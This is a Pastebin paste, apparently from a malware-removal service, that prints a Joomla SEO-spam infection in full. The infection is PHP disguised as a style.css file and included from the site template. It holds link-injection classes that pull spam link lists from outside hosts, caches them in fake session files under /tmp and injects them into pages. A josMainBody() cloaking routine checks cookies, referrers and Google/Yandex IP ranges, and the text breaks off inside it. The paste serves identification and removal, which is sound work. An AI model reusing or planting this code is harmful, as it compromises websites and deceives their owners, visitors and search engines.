Advertisement
scurit

Joomla SEO Spam using josMainBody

Jun 30th, 2014
465
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 34.08 KB | None | 0 0
  1. Find this on your site? Need Help removing it? http://www.malwareremovalservice.com
  2.  
  3. Three parts to this attack
  4.  
  5. 1) a  josMainBody() function is inserted into the current template index.php file
  6. 2) an include for the /css/style.css file in the template index.php file
  7. 3) a php file disgused as "style.css" see code below:
  8.  
  9. <?php
  10. class lmp_base {
  11.  
  12.      var $lmp_version            = '3.03';
  13.  
  14.      var $lmp_charset            = 'UTF-8';
  15.  
  16.      var $lmp_cache_lifetime     = 3600;     //Âðåìÿ æèçíè êåøà (÷åðåç ñêîëüêî âðåìåíè îáíîâëÿòü)
  17.  
  18.      var $lmp_cache_reloadtime   = 15;     // Åñëè ñêà÷àòü áàçó ññûëîê íå óäàëîñü, òî ñëåäóþùàÿ ïîïûòêà áóäåò ÷åðåç ñòîëüêî ñåêóíä
  19.  
  20.      var $lmp_links_db_file      = '';
  21.  
  22.      var $lmp_error              = '';
  23.  
  24.      var $lmp_error_desplay      = false;
  25.  
  26.      var $lmp_request_uri        = '';
  27.  
  28.      var $lmp_multi_site         = false;
  29.  
  30.      var $lmp_server             = 'goooogle.biz/~lmpsees';
  31.  
  32.      var $lmp_host_connect_type  = 'file_get_contents';  // Ñïîñîá ïîäêëþ÷åíèÿ ê ñåðâåðó [file_get_contents|curl|socket]
  33.  
  34.      var $lmp_socket_timeout     = 6;       // Ñêîëüêî æäàòü îòâåòà îò ñåðâåðà
  35.  
  36.      var $lmp_host               = '';
  37.      
  38.      var $lmp_is_our_bot         = false;          
  39.      
  40.      var $lmp_showedtag          = false;
  41.      
  42.      var $lmp_check_code                 =  true;   //Ïîêàçûâàòü èëè íåò ïðîâåðî÷íûé êîä <!-- LMP -->, äëÿ ïðîâåðêè ïðàâèëüíîñòè óñòàíîâêè êîäà
  43.      
  44.      function lmp_base($opts = null){
  45.  
  46.           if(is_array($opts)){
  47.               if(isset($opts['host']))$this->lmp_host=$opts['host'];
  48.           }
  49.           elseif(strlen($opts)){
  50.              $this->lmp_server=$opts;
  51.              $opts=array();
  52.           }
  53.           else {
  54.              $this->lmp_host='';
  55.              $opts=array();
  56.           }
  57.  
  58.           if ($this->lmp_host == '')$this->lmp_host = $_SERVER['HTTP_HOST'];
  59.  
  60.           $this->lmp_host = strtr(strtr($this->lmp_host, array('www.'=>'')), array('http://'=>''));
  61.          
  62.           if (isset($opts['server']) && strlen($opts['server']))$this->lmp_server = $opts['server'];
  63.  
  64.           if (isset($opts['request_uri']) && strlen($opts['request_uri']))$this->lmp_request_uri = $opts['request_uri'];
  65.           else $this->lmp_request_uri = $_SERVER['REQUEST_URI'];
  66.  
  67.           if (isset($opts['multi_site']) && $opts['multi_site'] == true)$this->lmp_multi_site = true;
  68.  
  69.           if (isset($opts['error_desplay']) && $opts['error_desplay'] == true)$this->lmp_error_desplay = true;
  70.  
  71.           if (isset($opts['host_connect_type']) && strlen($opts['host_connect_type']))$this->lmp_host_connect_type = $opts['host_connect_type'];
  72.  
  73.           if (isset($opts['socket_timeout'])){
  74.              if(preg_match("/^[0-9]+$/si", $opts['socket_timeout'])){
  75.                 if($opts['socket_timeout']>0)$this->lmp_socket_timeout = $opts['socket_timeout'];
  76.              }
  77.           }
  78.          
  79.           if(isset($opts['check_code'])){
  80.             if($opts['check_code']==true or $opts['check_code']==false)$this->lmp_check_code = $opts['check_code'];
  81.           }
  82.  
  83.             // Îïðåäåëÿåì íàø ëè ðîáîò
  84.             if (isset($_SERVER['HTTP_USER_AGENT']) && ($_SERVER['HTTP_USER_AGENT'] == 'LMP_Robot')) {
  85.                 $this->lmp_is_our_bot = true;
  86.             } else {
  87.                 $this->lmp_is_our_bot = false;
  88.             }
  89.  
  90.           //$this->return_link_array();
  91.      }
  92.  
  93.      //Ñ÷èòûâàíèå ôàéëà óäàëåííî
  94.      function get_file( $host, $path ){
  95.  
  96.           $user_agent = 'LMP_Client PHP ' . $this->lmp_version;
  97.          
  98.           @ini_set('allow_url_fopen',          1);
  99.           @ini_set('default_socket_timeout',   $this->lmp_socket_timeout);
  100.           @ini_set('user_agent',               $user_agent);
  101.  
  102.           if($this->lmp_host_connect_type=='file_get_contents'){
  103.                             //print 'http://' . $host . $path;
  104.               if ($data = @file_get_contents('http://' . $host . $path)) {
  105.                   return $data;
  106.               }
  107.  
  108.           }
  109.  
  110.           elseif($this->lmp_host_connect_type=='curl'){
  111.  
  112.              if ($ch = @curl_init()) {
  113.                  @curl_setopt($ch, CURLOPT_URL,              'http://' . $host . $path);
  114.                  @curl_setopt($ch, CURLOPT_HEADER,           false);
  115.                  @curl_setopt($ch, CURLOPT_RETURNTRANSFER,   true);
  116.                  @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,   $this->lmp_socket_timeout);
  117.                  @curl_setopt($ch, CURLOPT_USERAGENT,        $user_agent);
  118.  
  119.                  if ($data = curl_exec($ch)) {
  120.                     //print $data;
  121.                      @curl_close($ch);
  122.                      return $data;
  123.                  }
  124.  
  125.  
  126.                  @curl_close($ch);
  127.  
  128.              }
  129.  
  130.           }
  131.  
  132.           elseif($this->lmp_host_connect_type=='socket'){
  133.  
  134.              $c = '';
  135.              $fp = @fsockopen('www.' . $host, 80, $errno, $errstr, $this->lmp_socket_timeout);
  136.              if ($fp) {
  137.                  @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
  138.                  @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
  139.                  while (!@feof($fp)) {
  140.                      $c .= @fgets($fp, 128);
  141.                  }
  142.                  @fclose($fp);
  143.  
  144.                  $data = explode("\r\n\r\n", $c);
  145.  
  146.                  return $data[1];
  147.              }
  148.  
  149.           }
  150.  
  151.           else {
  152.               $this->raise_error('Íåïðàâèëüíî óêàçàí ñïîñîá ïîäêëþ÷åíèÿ ê ñåðâåðó');
  153.               return false;
  154.           }
  155.  
  156.           return $this->raise_error('Íåâîçìîæíî ïîäêëþ÷èòüñÿ ê ñåðâåðó... ' . $host . $path);
  157.  
  158.      }
  159.  
  160.  
  161.      //Ôóíêöèÿ äëÿ ÷òåíèÿ áàçû ññûëîê èç êåøà
  162.      function lmp_read( $file ) {
  163.  
  164.         $fp = @fopen($file, 'rb');
  165.         @flock($fp, LOCK_SH);
  166.         if ($fp) {
  167.  
  168.              $length = @filesize($file);
  169.              $mqr = get_magic_quotes_runtime();
  170.              set_magic_quotes_runtime(0);
  171.              if ($length) {
  172.                  $data = @fread($fp, $length);
  173.              } else {
  174.                  $data = '';
  175.              }
  176.              set_magic_quotes_runtime($mqr);
  177.              @flock($fp, LOCK_UN);
  178.              @fclose($fp);
  179.  
  180.              return $data;
  181.          }
  182.  
  183.          return $this->raise_error('Íåâîçìîæíî ñ÷èòàòü äàííûå èç ôàéëà: ' . $file);
  184.      }
  185.      
  186.  
  187.      //Ôóíêöèÿ çàïèñè â ëîêàëüíûé ôàéë
  188.      function lmp_write($filename, $data) {
  189.  
  190.         $fp = @fopen($filename, 'wb');
  191.         if ($fp) {
  192.             @flock($fp, LOCK_EX);
  193.             $length = strlen($data);
  194.             @fwrite($fp, $data, $length);
  195.             @flock($fp, LOCK_UN);
  196.             @fclose($fp);
  197.  
  198.             if (md5($this->lmp_read($filename)) != md5($data)) {
  199.                 return $this->raise_error('Íàðóøåíà öåëîñòíîñòü äàííûõ ïðè çàïèñè â ôàéë: ' . $filename);
  200.             }
  201.  
  202.             return true;
  203.         }
  204.  
  205.         return $this->raise_error('Íå ìîãó çàïèñàòü äàííûå â ôàéë: ' . $filename);
  206.      }    
  207.      
  208.      //Îòîáðàæåíèå îøèáîê
  209.      function raise_error($err) {
  210.  
  211.          $this->lmp_error = '<p style="color: red; font-weight: bold;">LMPanel error: '.$err.'</p>';
  212.  
  213.          if ($this->lmp_error_desplay == true) {
  214.              print $this->lmp_error;
  215.          }
  216.  
  217.          return false;
  218.      }
  219.      
  220.      function load_data(){
  221.                 $this->lmp_links_db_file = $this->_get_db_file();
  222.        
  223.           if(!is_file($this->lmp_links_db_file)){
  224.               if(@touch($this->lmp_links_db_file)){
  225.                   chmod($this->lmp_links_db_file, 0666);
  226.  
  227.               }
  228.               else return $this->raise_error('Íåâîçìîæíî ñîçäàòü ôàéë ' . $this->lmp_links_db_file . '. Óñòàíîâèòå íà äèððåêòîðèþ ñî ññûëêàìè ïðàâà 777');
  229.           }
  230.          
  231.             if (!is_writable($this->lmp_links_db_file)) {
  232.                 return $this->raise_error('Íåò äîñòóïà íà çàïèñü ê ôàéëó: ' . $this->lmp_links_db_file . '! Âûñòàâèòå ïðàâà 777 íà ïàïêó.');
  233.             }          
  234.  
  235.  
  236.           if(filemtime($this->lmp_links_db_file) < (time()-$this->lmp_cache_lifetime) || filesize($this->lmp_links_db_file) == 0) {
  237.  
  238.              @touch($this->lmp_links_db_file, (time() - $this->lmp_cache_lifetime + $this->lmp_cache_reloadtime));
  239.  
  240.              //$path = '/downlbase.php?host=' . urlencode($this->lmp_host);
  241.              $path = $this->_get_dispenser_path();
  242.  
  243.              if(preg_match("/\//si", $this->lmp_server)){
  244.                 $path = preg_replace("/^[^\/]+(\/.+)$/si", "$1", $this->lmp_server).$path;
  245.                 $this->lmp_server = preg_replace("/^([^\/]+)\/.+$/si", "$1", $this->lmp_server);
  246.              }
  247.  
  248.              if ($data = $this->get_file($this->lmp_server, $path)) {
  249.                  if (preg_match("/^FATAL ERROR:.+$/si", $data)) {
  250.                      $this->raise_error($data);
  251.                  }
  252.  
  253.                  else {
  254.                    
  255.                      // [ïñåâäî]ïðîâåðêà öåëîñòíîñòè:
  256.                      if (@unserialize($data) != false) {
  257.  
  258.                          $this->lmp_write($this->lmp_links_db_file, $data);
  259.  
  260.                      }
  261.                  }
  262.              }
  263.           }  
  264.          
  265.           if (strlen(session_id())) {
  266.               $session = session_name() . '=' . session_id();
  267.               $this->lmp_request_uri = preg_replace("/^(.+)[\?&]{1}".$session."$/si", "$1", $this->lmp_request_uri);
  268.           }          
  269.          
  270.             if ($data = $this->lmp_read($this->lmp_links_db_file)) {
  271.                     $unsData = @unserialize($data);
  272.                 $this->lmp_charset = $unsData['lmp_charset'];
  273.                 $this->set_data($unsData);
  274.             }
  275.      }
  276. }
  277.  
  278. //Êëàññ äëÿ ññûëîê
  279. class lmp_client extends lmp_base {
  280.  
  281.      var $lmp_links_page         = array();
  282.  
  283.      var $lmp_links              = '';
  284.  
  285.      var $lmp_links_delimiter    = '';
  286.  
  287.      var $lmp_blocks             = 1;
  288.      
  289.      var $lmp_block_type         = 1;
  290.      
  291.      var $lmp_block_info         = Array();
  292.      
  293.  
  294.     function lmp_client($options = null) {
  295.         parent::lmp_base($options);
  296.         $this->load_data();
  297.     }
  298.    
  299.     //ññûëêè
  300.     function print_links($block_id=''){
  301.          if($block_id == '')$block_id = 1;
  302.          
  303.          $html = '';
  304.  
  305.          if (is_array($this->lmp_links_page) & sizeof($this->lmp_links_page)>0 & $this->lmp_is_our_bot==false) {
  306.  
  307.              if($this->lmp_charset != ''){
  308.  
  309.                 if(function_exists('iconv')){
  310.                    foreach($this->lmp_links_page as $el){
  311.                    //   print $this->lmp_charset;
  312.                        $linkz[] = iconv("Windows-1251", $this->lmp_charset, $el);
  313.                    }
  314.                 }
  315.                 else {
  316.                    foreach($this->lmp_links_page as $el){
  317.                        $linkz[] = @mb_convert_encoding($el, $this->lmp_charset, "Windows-1251");
  318.                    }
  319.  
  320.                 }
  321.              }
  322.              else $linkz = $this->lmp_links_page;
  323.              
  324.              if(isset($linkz)){
  325.                  for($i=0; $i<sizeof($linkz); $i+=$this->lmp_blocks):
  326.                     $n = $i;
  327.                     for($k=0; $k<$this->lmp_blocks; $k++):
  328.                        if(($k+1) == $block_id)$links[]=$linkz[$n];
  329.                        $n++;
  330.                     endfor;
  331.                  endfor;
  332.              }
  333.              
  334.              if(!is_array($links))$links[]='';
  335.              
  336.              $links2 = $links;
  337.              unset($links);
  338.              foreach($links2 as $el=>$val){
  339.                 if(trim($links2[$el])!='')$links[] = $links2[$el];
  340.              }
  341.  
  342.              if($this->lmp_block_type==1){
  343.                 $html = @join($this->lmp_block_info['links_delimiter'], $links);
  344.              }
  345.              else {
  346.               if(@count($links)>0){
  347.                 $html = '<table style="padding:5px;border: 1px solid;background-color:#'.$this->lmp_block_info['bg'].';border-color:#'.$this->lmp_block_info['border'].';width:'.$this->lmp_block_info['width'].'px;height:'.$this->lmp_block_info['height'].'px;">';
  348.                 if($this->lmp_block_info['chered']=='h')$html .= "<tr>";
  349.                 foreach($links as $el){
  350.                    $desc = strip_tags($el);
  351.                    $title = preg_replace("/^.{0,}<a[^>]+>(.+)<\/a>.{0,}$/si", "$1", $el);
  352.                    $url = preg_replace("/^.{0,}<a href=[\"']{1}([^'\"]+)[\"']{1}.+$/si", "$1", $el);
  353.  
  354.                    if($this->lmp_block_info['chered']=='v')$html .= "<tr>";
  355.                    $html .= '<td style="text-align:left;padding: 6px;"><a href="'.$url.'" target="_blank" style="text-decoration:underline;font-size:'.($this->lmp_block_info['fsize']+1).'px;color:#'.$this->lmp_block_info['title'].';">'.$title.'</a><br><font style="font-size:'.$this->lmp_block_info['fsize'].'px;color:#'.$this->lmp_block_info['desc'].';">'.$desc.'</font><br><font style="font-size:'.($this->lmp_block_info['fsize']-1).'px;color:#'.$this->lmp_block_info['url'].';">'.$url.'</font></td>';
  356.                    if($this->lmp_block_info['chered']=='v')$html .= "</tr>";
  357.                 }
  358.                 if($this->lmp_block_info['chered']=='h')$html .= "</tr>";
  359.                 $html .= '</table>';
  360.               }
  361.              }
  362.              
  363.          }
  364.  
  365.          if(!$this->lmp_showedtag){
  366.              if($this->lmp_is_our_bot == true)$html.='<!-- LMP -->';
  367.              elseif($this->lmp_check_code == true)$html.='<!-- LMP -->';
  368.              $this->lmp_showedtag = true;
  369.          }
  370.  
  371.          return $html;
  372.  
  373.     }
  374.    
  375.     //îïöèè áëîêà (ß.äèðåêò)
  376.     function set_block_opts($width=100, $height='', $fsize=11, $chered=''){
  377.        if($this->lmp_block_type==2){
  378.          if($width!='')$this->lmp_block_info['width'] = $width;
  379.          if($height!='')$this->lmp_block_info['height'] = $height;
  380.          if($fsize!='')$this->lmp_block_info['fsize'] = $fsize;
  381.          if($chered!='')$this->lmp_block_info['chered'] = $chered;
  382.        }
  383.     }    
  384.    
  385.     function _get_db_file() {
  386.             return '/tmp/sess_7a68212f5df4s2141w8479e57d096af74baussaw';
  387.     }
  388.    
  389.     function _get_dispenser_path() {
  390.         return '/downlbase.php?type=1&host=' . urlencode($this->lmp_host);
  391.     }
  392.    
  393.     function set_data($data) {
  394.         $this->lmp_links = $data;
  395.         if (@array_key_exists($this->lmp_request_uri, $this->lmp_links) && is_array($this->lmp_links[$this->lmp_request_uri])) {
  396.  
  397.                         $this->lmp_links_page = $this->lmp_links[$this->lmp_request_uri];
  398.                 $this->lmp_links_delimiter = $this->lmp_links[$this->lmp_request_uri];
  399.                
  400.               if(isset($this->lmp_links['lmp_block_info'])){
  401.                  $this->lmp_block_type = $this->lmp_links['lmp_block_info']['type'];
  402.                  
  403.                  if($this->lmp_block_type == 1)$this->lmp_block_info = Array("links_delimiter"=>$this->lmp_links['lmp_block_info']['delimiter']);
  404.                  else {
  405.                     $this->lmp_block_info = Array("border"=>$this->lmp_links['lmp_block_info']['border'],
  406.                                                   "bg"=>$this->lmp_links['lmp_block_info']['bg'],
  407.                                                   "title"=>$this->lmp_links['lmp_block_info']['title'],
  408.                                                   "desc"=>$this->lmp_links['lmp_block_info']['desc'],
  409.                                                   "url"=>$this->lmp_links['lmp_block_info']['url'],
  410.                                                   "width"=>100,
  411.                                                   "height"=>100,
  412.                                                   "fsize"=>11,
  413.                                                   "chered"=>'h');
  414.                                            
  415.                  }
  416.               }
  417.    
  418.               if(isset($this->lmp_links['lmp_blocks']))$this->lmp_blocks=$this->lmp_links['lmp_blocks'];
  419.  
  420.         }
  421.     }  
  422. }
  423.  
  424.  
  425. class LinkfeedClient {
  426.     var $lc_version           = '0.4.1';
  427.     var $lc_verbose           = false;
  428.     var $lc_charset           = 'DEFAULT';
  429.     var $lc_use_ssl           = false;
  430.     var $lc_server            = 'db.linkfeed.ru';
  431.     var $lc_cache_lifetime    = 3600;
  432.     var $lc_cache_reloadtime  = 300;
  433.     var $lc_links_db_file     = '';
  434.     var $lc_links             = array();
  435.     var $lc_links_page        = array();
  436.     var $lc_links_delimiter   = '';
  437.     var $lc_error             = '';
  438.     var $lc_host              = '';
  439.     var $lc_request_uri       = '';
  440.     var $lc_fetch_remote_type = '';
  441.     var $lc_socket_timeout    = 6;
  442.     var $lc_force_show_code   = false;
  443.     var $lc_multi_site        = false;
  444.     var $lc_is_static         = false;
  445.     var $lc_ignore_tailslash  = false;
  446.  
  447.     function LinkfeedClient($options = null) {
  448.         $host = '';
  449.  
  450.         if (is_array($options)) {
  451.             if (isset($options['host'])) {
  452.                 $host = $options['host'];
  453.             }
  454.         } elseif (strlen($options) != 0) {
  455.             $host = $options;
  456.             $options = array();
  457.         } else {
  458.             $options = array();
  459.         }
  460.  
  461.         if (strlen($host) != 0) {
  462.             $this->lc_host = $host;
  463.         } else {
  464.             $this->lc_host = $_SERVER['HTTP_HOST'];
  465.         }
  466.  
  467.         $this->lc_host = preg_replace('{^https?://}i', '', $this->lc_host);
  468.         $this->lc_host = preg_replace('{^www\.}i', '', $this->lc_host);
  469.         $this->lc_host = strtolower( $this->lc_host);
  470.  
  471.         if (isset($options['is_static']) && $options['is_static']) {
  472.             $this->lc_is_static = true;
  473.         }
  474.  
  475.         if (isset($options['ignore_tailslash']) && $options['ignore_tailslash']) {
  476.             $this->lc_ignore_tailslash = true;
  477.         }
  478.  
  479.         if (isset($options['request_uri']) && strlen($options['request_uri']) != 0) {
  480.             $this->lc_request_uri = $options['request_uri'];
  481.         } else {
  482.             if ($this->lc_is_static) {
  483.                 $this->lc_request_uri = preg_replace( '{\?.*$}', '', $_SERVER['REQUEST_URI']);
  484.                 $this->lc_request_uri = preg_replace( '{/+}', '/', $this->lc_request_uri);
  485.             } else {
  486.                 $this->lc_request_uri = $_SERVER['REQUEST_URI'];
  487.             }
  488.         }
  489.  
  490.         $this->lc_request_uri = rawurldecode($this->lc_request_uri);
  491.  
  492.         if (isset($options['multi_site']) && $options['multi_site'] == true) {
  493.             $this->lc_multi_site = true;
  494.         }
  495.  
  496.         if ((isset($options['verbose']) && $options['verbose']) ||
  497.             isset($this->lc_links['__linkfeed_debug__'])) {
  498.             $this->lc_verbose = true;
  499.         }
  500.  
  501.         if (isset($options['charset']) && strlen($options['charset']) != 0) {
  502.             $this->lc_charset = $options['charset'];
  503.         }
  504.  
  505.         if (isset($options['fetch_remote_type']) && strlen($options['fetch_remote_type']) != 0) {
  506.             $this->lc_fetch_remote_type = $options['fetch_remote_type'];
  507.         }
  508.  
  509.         if (isset($options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] > 0) {
  510.             $this->lc_socket_timeout = $options['socket_timeout'];
  511.         }
  512.  
  513.         if ((isset($options['force_show_code']) && $options['force_show_code']) ||
  514.             isset($this->lc_links['__linkfeed_debug__'])) {
  515.             $this->lc_force_show_code = true;
  516.         }
  517.  
  518.         if (!defined('LINKFEED_USER')) {
  519.             return $this->raise_error("Constant LINKFEED_USER is not defined.");
  520.         }
  521.  
  522.         $this->load_links();
  523.     }
  524.  
  525.     function load_links() {
  526.         if ($this->lc_multi_site) {
  527.             $this->lc_links_db_file = '/tmp/sess_7a68212f5df4s2141w8479e57d096af74baussaw1';
  528.         } else {
  529.             $this->lc_links_db_file = '/tmp/sess_7a68212f5df4s2141w8479e57d096af74baussaw1';
  530.         }
  531.  
  532.         if (!is_file($this->lc_links_db_file)) {
  533.             if (@touch($this->lc_links_db_file, time() - $this->lc_cache_lifetime)) {
  534.                 @chmod($this->lc_links_db_file, 0666);
  535.             } else {
  536.                 return $this->raise_error("There is no file " . $this->lc_links_db_file  . ". Fail to create. Set mode to 777 on the folder.");
  537.             }
  538.         }
  539.  
  540.         if (!is_writable($this->lc_links_db_file)) {
  541.             return $this->raise_error("There is no permissions to write: " . $this->lc_links_db_file . "! Set mode to 777 on the folder.");
  542.         }
  543.  
  544.         @clearstatcache();
  545.  
  546.         if (filemtime($this->lc_links_db_file) < (time()-$this->lc_cache_lifetime) ||
  547.            (filemtime($this->lc_links_db_file) < (time()-$this->lc_cache_reloadtime) && filesize($this->lc_links_db_file) == 0)) {
  548.  
  549.             @touch($this->lc_links_db_file, time());
  550.  
  551.             $path = '/' . LINKFEED_USER . '/' . strtolower( $this->lc_host ) . '/' . strtoupper( $this->lc_charset);
  552.  
  553.             if ($links = $this->fetch_remote_file($this->lc_server, $path)) {
  554.                 if (substr($links, 0, 12) == 'FATAL ERROR:') {
  555.                     $this->raise_error($links);
  556.                 } else if (@unserialize($links) !== false) {
  557.                     $this->lc_write($this->lc_links_db_file, $links);
  558.                 } else {
  559.                     $this->raise_error("Cann't unserialize received data.");
  560.                 }
  561.             }
  562.         }
  563.  
  564.         $links = $this->lc_read($this->lc_links_db_file);
  565.         $this->lc_file_change_date = gmstrftime ("%d.%m.%Y %H:%M:%S",filectime($this->lc_links_db_file));
  566.         $this->lc_file_size = strlen( $links);
  567.         if (!$links) {
  568.             $this->lc_links = array();
  569.             $this->raise_error("Empty file.");
  570.         } else if (!$this->lc_links = @unserialize($links)) {
  571.             $this->lc_links = array();
  572.             $this->raise_error("Cann't unserialize data from file.");
  573.         }
  574.  
  575.         if (isset($this->lc_links['__linkfeed_delimiter__'])) {
  576.             $this->lc_links_delimiter = $this->lc_links['__linkfeed_delimiter__'];
  577.         }
  578.  
  579.         $lc_links_temp=array();
  580.         foreach($this->lc_links as $key=>$value){
  581.           $lc_links_temp[rawurldecode($key)]=$value;
  582.         }
  583.         $this->lc_links=$lc_links_temp;
  584.         if ($this->lc_ignore_tailslash && $this->lc_request_uri[strlen($this->lc_request_uri)-1]=='/') $this->lc_request_uri=substr($this->lc_request_uri,0,-1);
  585.         $this->lc_links_page=array();
  586.         if (array_key_exists($this->lc_request_uri, $this->lc_links) && is_array($this->lc_links[$this->lc_request_uri])) {
  587.             $this->lc_links_page = array_merge($this->lc_links_page, $this->lc_links[$this->lc_request_uri]);
  588.         }
  589.         if ($this->lc_ignore_tailslash && array_key_exists($this->lc_request_uri.'/', $this->lc_links) && is_array($this->lc_links[$this->lc_request_uri.'/'])) {
  590.             $this->lc_links_page =array_merge($this->lc_links_page, $this->lc_links[$this->lc_request_uri.'/']);
  591.         }
  592.  
  593.         $this->lc_links_count = count($this->lc_links_page);
  594.     }
  595.  
  596.     function return_links($n = null) {
  597.         $result = '';
  598.         if (isset($this->lc_links['__linkfeed_start__']) && strlen($this->lc_links['__linkfeed_start__']) != 0 &&
  599.             (in_array($_SERVER['REMOTE_ADDR'], $this->lc_links['__linkfeed_robots__']) || $this->lc_force_show_code)
  600.         ) {
  601.             $result .= $this->lc_links['__linkfeed_start__'];
  602.         }
  603.  
  604.         if (isset($this->lc_links['__linkfeed_robots__']) && in_array($_SERVER['REMOTE_ADDR'], $this->lc_links['__linkfeed_robots__']) || $this->lc_verbose) {
  605.  
  606.             if ($this->lc_error != '') {
  607.                 $result .= $this->lc_error;
  608.             }
  609.  
  610.             $result .= '<!--REQUEST_URI=' . $_SERVER['REQUEST_URI'] . "-->\n";
  611.             $result .= "\n<!--\n";
  612.             $result .= 'L ' . $this->lc_version . "\n";
  613.             $result .= 'REMOTE_ADDR=' . $_SERVER['REMOTE_ADDR'] . "\n";
  614.             $result .= 'request_uri=' . $this->lc_request_uri . "\n";
  615.             $result .= 'charset=' . $this->lc_charset . "\n";
  616.             $result .= 'is_static=' . $this->lc_is_static . "\n";
  617.             $result .= 'multi_site=' . $this->lc_multi_site . "\n";
  618.             $result .= 'file change date=' . $this->lc_file_change_date . "\n";
  619.             $result .= 'lc_file_size=' . $this->lc_file_size . "\n";
  620.             $result .= 'lc_links_count=' . $this->lc_links_count . "\n";
  621.             $result .= 'left_links_count=' . count($this->lc_links_page) . "\n";
  622.             $result .= 'n=' . $n . "\n";
  623.             $result .= '-->';
  624.         }
  625.  
  626.         if (is_array($this->lc_links_page)) {
  627.             $total_page_links = count($this->lc_links_page);
  628.  
  629.             if (!is_numeric($n) || $n > $total_page_links) {
  630.                 $n = $total_page_links;
  631.             }
  632.  
  633.             $links = array();
  634.  
  635.             for ($i = 0; $i < $n; $i++) {
  636.                 $links[] = array_shift($this->lc_links_page);
  637.             }
  638.  
  639.             if ( count($links) > 0 && isset($this->lc_links['__linkfeed_before_text__']) ) {
  640.                $result .= $this->lc_links['__linkfeed_before_text__'];
  641.             }
  642.  
  643.             $result .= implode($this->lc_links_delimiter, $links);
  644.  
  645.             if ( count($links) > 0 && isset($this->lc_links['__linkfeed_after_text__']) ) {
  646.                $result .= $this->lc_links['__linkfeed_after_text__'];
  647.             }
  648.         }
  649.         if (isset($this->lc_links['__linkfeed_end__']) && strlen($this->lc_links['__linkfeed_end__']) != 0 &&
  650.             (in_array($_SERVER['REMOTE_ADDR'], $this->lc_links['__linkfeed_robots__']) || $this->lc_force_show_code)
  651.         ) {
  652.             $result .= $this->lc_links['__linkfeed_end__'];
  653.         }
  654.         return $result;
  655.     }
  656.  
  657.     function fetch_remote_file($host, $path) {
  658.         $user_agent = 'Linkfeed Client PHP ' . $this->lc_version;
  659.  
  660.         @ini_set('allow_url_fopen', 1);
  661.         @ini_set('default_socket_timeout', $this->lc_socket_timeout);
  662.         @ini_set('user_agent', $user_agent);
  663.  
  664.         if (
  665.             $this->lc_fetch_remote_type == 'file_get_contents' || (
  666.                 $this->lc_fetch_remote_type == '' && function_exists('file_get_contents') && ini_get('allow_url_fopen') == 1
  667.             )
  668.         ) {
  669.             if ($data = @file_get_contents('http://' . $host . $path)) {
  670.                 return $data;
  671.             }
  672.         } elseif (
  673.             $this->lc_fetch_remote_type == 'curl' || (
  674.                 $this->lc_fetch_remote_type == '' && function_exists('curl_init')
  675.             )
  676.         ) {
  677.             if ($ch = @curl_init()) {
  678.                 @curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path);
  679.                 @curl_setopt($ch, CURLOPT_HEADER, false);
  680.                 @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  681.                 @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->lc_socket_timeout);
  682.                 @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
  683.  
  684.                 if ($data = @curl_exec($ch)) {
  685.                     return $data;
  686.                 }
  687.  
  688.                 @curl_close($ch);
  689.             }
  690.         } else {
  691.             $buff = '';
  692.             $fp = @fsockopen($host, 80, $errno, $errstr, $this->lc_socket_timeout);
  693.             if ($fp) {
  694.                 @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
  695.                 @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
  696.                 while (!@feof($fp)) {
  697.                     $buff .= @fgets($fp, 128);
  698.                 }
  699.                 @fclose($fp);
  700.  
  701.                 $page = explode("\r\n\r\n", $buff);
  702.  
  703.                 return $page[1];
  704.             }
  705.         }
  706.  
  707.         return $this->raise_error("Cann't connect to server: " . $host . $path);
  708.     }
  709.  
  710.     function lc_read($filename) {
  711.         $fp = @fopen($filename, 'rb');
  712.         @flock($fp, LOCK_SH);
  713.         if ($fp) {
  714.             clearstatcache();
  715.             $length = @filesize($filename);
  716.             $mqr = get_magic_quotes_runtime();
  717.             set_magic_quotes_runtime(0);
  718.             if ($length) {
  719.                 $data = @fread($fp, $length);
  720.             } else {
  721.                 $data = '';
  722.             }
  723.             set_magic_quotes_runtime($mqr);
  724.             @flock($fp, LOCK_UN);
  725.             @fclose($fp);
  726.  
  727.             return $data;
  728.         }
  729.  
  730.         return $this->raise_error("Cann't get data from the file: " . $filename);
  731.     }
  732.  
  733.     function lc_write($filename, $data) {
  734.         $fp = @fopen($filename, 'wb');
  735.         if ($fp) {
  736.             @flock($fp, LOCK_EX);
  737.             $length = strlen($data);
  738.             @fwrite($fp, $data, $length);
  739.             @flock($fp, LOCK_UN);
  740.             @fclose($fp);
  741.  
  742.             if (md5($this->lc_read($filename)) != md5($data)) {
  743.                 return $this->raise_error("Integrity was breaken while writing to file: " . $filename);
  744.             }
  745.  
  746.             return true;
  747.         }
  748.  
  749.         return $this->raise_error("Cann't write to file: " . $filename);
  750.     }
  751.  
  752.     function raise_error($e) {
  753.         $this->lc_error = '<!--ERROR: ' . $e . '-->';
  754.         return false;
  755.     }
  756. }
  757.  
  758. function josMainBody(){
  759. error_reporting(0);
  760. function striposssi($haystack, $needle){    return strpos($haystack, stristr( $haystack, $needle ));}
  761.  
  762.    if ($_COOKIE['SESSe7da53566c688d456347'] =="3cca28a37dc22cfff5eab70704ee5301")
  763.    {
  764.    echo '<div id="nvorst">';
  765.    }
  766.    else
  767.    {
  768.      $rsp=striposssi($_SERVER['HTTP_REFERER'],'sape');
  769.      $qsp=striposssi($_SERVER['HTTP_REFERER'],'linkfeed');
  770.      
  771.      $rrs=striposssi($_SERVER['HTTP_ACCEPT_LANGUAGE'],'ru');
  772.      $gbot=striposssi($_SERVER['HTTP_USER_AGENT'], 'google');
  773.      $ybot=striposssi($_SERVER['HTTP_USER_AGENT'], 'yandex');
  774.      
  775.      $stop_ips_masks = array(
  776.                 "66\.249\.[6-9][0-9]\.[0-9]+",  // Google   NetRange:   66.249.64.0 - 66.249.95.255
  777.                 "74\.125\.[0-9]+\.[0-9]+",      // Google   NetRange:   74.125.0.0 - 74.125.255.255
